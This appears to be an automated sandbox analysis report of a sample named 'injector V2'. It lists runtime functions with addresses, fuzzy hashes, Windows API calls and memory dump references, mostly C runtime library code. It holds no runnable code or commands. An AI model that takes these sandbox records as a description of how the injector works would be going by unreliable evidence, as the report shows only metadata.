Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitVariant
String ID: %$-$1$3$4$5$7$8$<$?
API String ID: 1927566239-2306056897
Opcode ID: 31193bd02edbf3f2dd8202ce71ad54a7358e2316d9c2a759cd42147c551f9b9f
Instruction ID: 96ca448ff6fb554567044703cf5f21603e263ad5c94d1bc94c9d14b434f46236
Opcode Fuzzy Hash: 31193bd02edbf3f2dd8202ce71ad54a7358e2316d9c2a759cd42147c551f9b9f
Instruction Fuzzy Hash: FA514C7060C7C18AD33A8B3894997DBBFD09BA6314F084A6ED1E98B3D2C6B44645CB53

Function 004339AC Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004339B6
VariantInit.OLEAUT32 ref: 004339C9

Strings

m, xrefs: 00433A13
X, xrefs: 00433A09
m, xrefs: 004339EB
R, xrefs: 004339FF
S, xrefs: 00433A1D
!, xrefs: 00433A3B
h, xrefs: 004339E1
], xrefs: 004339F5
|, xrefs: 00433A27

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$R$S$X$]$h$m$m$|
API String ID: 2610073882-107755797
Opcode ID: cbb7be2de71a0b186935c17f871dacbf23e22332363b1279cee9e02be5857cb9
Instruction ID: 206bfdd1e779fd651663f9837c9be222ba91a6427388020951cf9e3343fbc20d
Opcode Fuzzy Hash: cbb7be2de71a0b186935c17f871dacbf23e22332363b1279cee9e02be5857cb9
Instruction Fuzzy Hash: 6341483110C7C18AD315DB78849879EFFD16BA6324F084A6DE5E50B3E6C7B98509CB63

Function 00433F1A Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 80COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00433F24
VariantInit.OLEAUT32 ref: 00433F37

Strings

m, xrefs: 00433F81
!, xrefs: 00433FA9
R, xrefs: 00433F6D
h, xrefs: 00433F4F
|, xrefs: 00433F95
m, xrefs: 00433F59
S, xrefs: 00433F8B
], xrefs: 00433F63
X, xrefs: 00433F77

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$R$S$X$]$h$m$m$|
API String ID: 2610073882-107755797
Opcode ID: 69ef725f91b2f09295a4b8331cec97355fd600f420917215be38744edb42d723
Instruction ID: 85031bd5868e3d12bd7d942b6f0e223c717926f06670f1c9bae8ad66f3a5564b
Opcode Fuzzy Hash: 69ef725f91b2f09295a4b8331cec97355fd600f420917215be38744edb42d723
Instruction Fuzzy Hash: F641273050CBC18AD3158B78944864EFFE26BE6324F484A5DE0E14B3E6C7B9850ACB63

Function 006090D3 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 006091F2
___TypeMatch.LIBVCRUNTIME ref: 00609300
CatchIt.LIBVCRUNTIME ref: 00609351
_UnwindNestedFrames.LIBCMT ref: 00609452
CallUnexpected.LIBVCRUNTIME ref: 0060946D

Strings

@]`, xrefs: 0060926D, 00609275
csm, xrefs: 0060917D
csm, xrefs: 00609229
csm, xrefs: 00609110

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: @]`$csm$csm$csm
API String ID: 4119006552-3312551339
Opcode ID: 44f52fef10f82d995dedc586bed2fe14487202e119ff1793fb8e3ee037f1f68d
Instruction ID: 3016f033c445908f10900d40dad0f93e59d8fb4ed785d9069d62958cf1288aad
Opcode Fuzzy Hash: 44f52fef10f82d995dedc586bed2fe14487202e119ff1793fb8e3ee037f1f68d
Instruction Fuzzy Hash: 87B14871880209EFCF2DDFA4C8819AFB7B7BF14310B14415AE8516B292D731DA52CFA5

Function 00610308 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,006102F3,?,?,?,?,?,?,?,?,?), ref: 006103AE
__alloca_probe_16.LIBCMT ref: 00610469
__alloca_probe_16.LIBCMT ref: 006104F8
__freea.LIBCMT ref: 00610543
__freea.LIBCMT ref: 00610549
__freea.LIBCMT ref: 0061057F
__freea.LIBCMT ref: 00610585
__freea.LIBCMT ref: 00610595

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 958fd76715f2481c9bec94f7afc18dc220cfa264ba4ead5c3ca9f7091f191630
Instruction ID: 6b10638dc25e9bc4a3cd96c350900d51597d1284e28d6bd1f5a1a3fdc9f4682a
Opcode Fuzzy Hash: 958fd76715f2481c9bec94f7afc18dc220cfa264ba4ead5c3ca9f7091f191630
Instruction Fuzzy Hash: B171D472900206ABFF219B648981BEF7BAB9F49310F1C4459F915A7381E7B5DDC08B64

Function 00609DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00609EE2,006041E0,?,00000000,?,?,?,00609BEB,00000022,FlsSetValue,00613DDC,00613DE4,?), ref: 00609E94

Strings

api-ms-, xrefs: 00609E2A
ext-ms-, xrefs: 00609E3E

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: a0b570e60c3da1a6054b55c6a7a6ffbf0325d7fcb3880e1d2b920ddcc840efd8
Instruction ID: 9a9ac5b7aca641b2095760e47fc584812a4cc0cb874b773b8e8fe5af7514b386
Opcode Fuzzy Hash: a0b570e60c3da1a6054b55c6a7a6ffbf0325d7fcb3880e1d2b920ddcc840efd8
Instruction Fuzzy Hash: 8421D531A80211ABD725DB60DC45ADB775BEF81B70B295121ED06A73E2DB30ED02C6F0

Function 005FBEB0 Relevance: 9.2, APIs: 6, Instructions: 173fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 005FBF10

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d0921210a52644a5f9003f285b683830a48b2b9431452db0d1e712a88196bccc
Instruction ID: 39d0ce560d141fbab5cdd819bd48840ded4e5639cb042074cd29ec205f54d69a
Opcode Fuzzy Hash: d0921210a52644a5f9003f285b683830a48b2b9431452db0d1e712a88196bccc
Instruction Fuzzy Hash: F97136B490420DDFDB04DFA8D5586AEBFF0FB48700F10892AE956AB350DB389945DF52

Function 0060883A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00608831,00605F0D,006055A4), ref: 00608848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00608856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0060886F
SetLastError.KERNEL32(00000000,00608831,00605F0D,006055A4), ref: 006088C1

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 67633a0c199911832f80809b56d22c96d36956ffeed75a27b4afab131ecfbfd5
Instruction ID: 26b623a5a697a5a8925c9481550a18c81e7c7e487b339b206f7a6a477cc0ac4d
Opcode Fuzzy Hash: 67633a0c199911832f80809b56d22c96d36956ffeed75a27b4afab131ecfbfd5
Instruction Fuzzy Hash: 12014C322882115DEB6C9BB57C869DF3787EB627B0364933FF010421E1EF118C015284

Function 00606F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,006125EB,000000FF,?,00607015,?,?,006070B1,00000000), ref: 00606F89
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00606F9B
FreeLibrary.KERNEL32(00000000,?,00000000,006125EB,000000FF,?,00607015,?,?,006070B1,00000000), ref: 00606FBD

Strings

mscoree.dll, xrefs: 00606F82
CorExitProcess, xrefs: 00606F93

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6f8fca6ad2f3179b0b54b2877ee10a3b70c69d340c6c17e96a0a5d71d74f0a51
Instruction ID: 934280ff25b276e832d757a1e2dee35f7571ae6b6b6de95d3ae1ee7b91886bee
Opcode Fuzzy Hash: 6f8fca6ad2f3179b0b54b2877ee10a3b70c69d340c6c17e96a0a5d71d74f0a51
Instruction Fuzzy Hash: 09018F3194461AABDB018F50DC09FEEB7FAFB04B51F084526F811E23D0DB749900CAA0

Function 0060DF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0060DFA2
__alloca_probe_16.LIBCMT ref: 0060E06B
__freea.LIBCMT ref: 0060E0D2

Part of subcall function 0060BC45: HeapAlloc.KERNEL32(00000000,?,00000000,?,006041E0,?,?,00601007,?,005FFAB5), ref: 0060BC77

__freea.LIBCMT ref: 0060E0E5
__freea.LIBCMT ref: 0060E0F2

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 3f07d22e510e20fbf4ae9ae721f776d9f54fd709bca7c3c1c5ab4c2f37ce4c59
Instruction ID: a52548b5d6c2f01204a3c199645b9b2452c4b9245e58dcd40324dece409201a4
Opcode Fuzzy Hash: 3f07d22e510e20fbf4ae9ae721f776d9f54fd709bca7c3c1c5ab4c2f37ce4c59
Instruction Fuzzy Hash: 9A519372680226ABEB295F60CC41EFB76ABEF44710B15492DF916D6381FB72CC60C664

Function 006094F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,006093FE,?,?,00000000,00000000,00000000,?), ref: 0060951D
CatchIt.LIBVCRUNTIME ref: 00609603

Strings

MOC, xrefs: 0060952F
RCC, xrefs: 00609537

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 7cc9451512d1ab4a2d742184d695c8d09be7e7f7815a54c254c2f7f20d410b79
Instruction ID: ba8aeba0b1b3876b7261d5ddc1a286bc4deb715d493b145df7f8d08dace7767c
Opcode Fuzzy Hash: 7cc9451512d1ab4a2d742184d695c8d09be7e7f7815a54c254c2f7f20d410b79
Instruction Fuzzy Hash: 32414771940209AFDF1ADF94CC81AEEBBB7EF48300F188099F905A7292D7369950DB60

Function 0060DC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0060DCFA,00000000,?,0061CCD0,?,?,?,0060DC31,00000004,InitializeCriticalSectionEx,006146F8,00614700), ref: 0060DC6B
GetLastError.KERNEL32(?,0060DCFA,00000000,?,0061CCD0,?,?,?,0060DC31,00000004,InitializeCriticalSectionEx,006146F8,00614700,00000000,?,0060971C), ref: 0060DC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0060DC9D

Strings

api-ms-, xrefs: 0060DC82

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 52f98306c4187fed848710758ff9e62fe9ce612b16c56e0ad12ed772dd94fbb0
Instruction ID: 5af42f180c4baa0eef4ff5e1f96e0d9cae143db4e2e246d3e847dec306b04f08
Opcode Fuzzy Hash: 52f98306c4187fed848710758ff9e62fe9ce612b16c56e0ad12ed772dd94fbb0
Instruction Fuzzy Hash: 5BE048306C0205BFFF102F91EC0ABD93B9BAB01B58F14C031F90DE81E1EBA29851C554

Function 0060E5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 0060E64B

Part of subcall function 0060D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,006087B1,?,00000000,?), ref: 0060D192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0060E89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0060E8E3
GetLastError.KERNEL32 ref: 0060E986

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: d68971195265c273f918c349e61ad0f53db39efad4aad9510cdcfbf48f56406c
Instruction ID: 195f73ff93b442b7bd33aeb10f4f37efa412dec202d68ce58d5f88803c0d8bec
Opcode Fuzzy Hash: d68971195265c273f918c349e61ad0f53db39efad4aad9510cdcfbf48f56406c
Instruction Fuzzy Hash: 80D18C75D402589FCF19CFA8D8809EEFBB6FF08314F18456AE456EB391D631A942CB50

Function 00608EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00608FC3
___AdjustPointer.LIBCMT ref: 00608FE6
___AdjustPointer.LIBCMT ref: 00609082

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6d0dd3256377f3260e8c5fdf90aa245ae749048ce0d1c0137e100bdc000c9dc0
Instruction ID: f739e72823b57d1503d00052262eb998e66a82a9cedbc8fc65eee28e5bd85988
Opcode Fuzzy Hash: 6d0dd3256377f3260e8c5fdf90aa245ae749048ce0d1c0137e100bdc000c9dc0
Instruction Fuzzy Hash: 5B51B071685602AFDB2D8F24C841BAB77A7FF40350F14452DE9469B2E2EB31EC41CBA4

Function 0060C5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0060D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,006087B1,?,00000000,?), ref: 0060D192

GetLastError.KERNEL32 ref: 0060C61C
__dosmaperr.LIBCMT ref: 0060C623
GetLastError.KERNEL32(?,?,?,?), ref: 0060C65D
__dosmaperr.LIBCMT ref: 0060C664

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 24efbb51c072c034a4093e52d372170ee738bafc41a0bbd8c18c296b157d46ba
Instruction ID: 71767a91d749248ddbebb3da48120a618fe5663b58ebe69ddb97bc7d09a22416
Opcode Fuzzy Hash: 24efbb51c072c034a4093e52d372170ee738bafc41a0bbd8c18c296b157d46ba
Instruction Fuzzy Hash: 4421D371280205AFCB28AF618C8096BB7ABEF443747109728F815932D1D731EC019B94

Function 0060CB54 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2306a680740476528b25654b1cacaab1f42f1a9ecb4ce8e5f578174521c222d
Instruction ID: 645d292248e9491ef5cb64f1b936c23e8c4f04460c3bb21068463e209988d407
Opcode Fuzzy Hash: c2306a680740476528b25654b1cacaab1f42f1a9ecb4ce8e5f578174521c222d
Instruction Fuzzy Hash: 5D21C671280205AFDB28AF69DC91DAB77ABEF453B47108729F919972D1D730EC409BA0

Function 0060D22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0060D235

Part of subcall function 0060D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,006087B1,?,00000000,?), ref: 0060D192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0060D26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0060D28D

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 7023ee06924e55dee57c1782168ffbbed45f10e9d65c40dcb7a9dd55fbb28da2
Instruction ID: f0cf7ff27ea5f247c0e54117a9cef729360b3b57976ae2fca76e139fdcc55ffd
Opcode Fuzzy Hash: 7023ee06924e55dee57c1782168ffbbed45f10e9d65c40dcb7a9dd55fbb28da2
Instruction Fuzzy Hash: 921104B15411197EE72927F15C8ACEF79AFCE943A47141629FA02D2181FF20CE024174

Function 006107C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0060FF31,00000000,00000001,00000000,?,?,0060E9DA,?,00000000,00000000), ref: 006107D7
GetLastError.KERNEL32(?,0060FF31,00000000,00000001,00000000,?,?,0060E9DA,?,00000000,00000000,?,?,?,0060E320,00000000), ref: 006107E3

Part of subcall function 00610840: CloseHandle.KERNEL32(FFFFFFFE,006107F3,?,0060FF31,00000000,00000001,00000000,?,?,0060E9DA,?,00000000,00000000,?,?), ref: 00610850

___initconout.LIBCMT ref: 006107F3

Part of subcall function 00610815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006107B1,0060FF1E,?,?,0060E9DA,?,00000000,00000000,?), ref: 00610828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0060FF31,00000000,00000001,00000000,?,?,0060E9DA,?,00000000,00000000,?), ref: 00610808

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d7211ebf9c72c28cf54ea0a2a6c7d54fbe707ac9dc50cfad985b0a869f1b6ee2
Instruction ID: b35eae0503a31cd1025018715329e1089a0362180c556f35c69b37157bc1383d
Opcode Fuzzy Hash: d7211ebf9c72c28cf54ea0a2a6c7d54fbe707ac9dc50cfad985b0a869f1b6ee2
Instruction Fuzzy Hash: 27F01C36500118BBCF621F91DC089CA3F6BFF087A1F08D422FA1885121C6B288A1ABE4

Function 00608D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00608D75

Strings

csm, xrefs: 00608D97
csm, xrefs: 00608E08

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
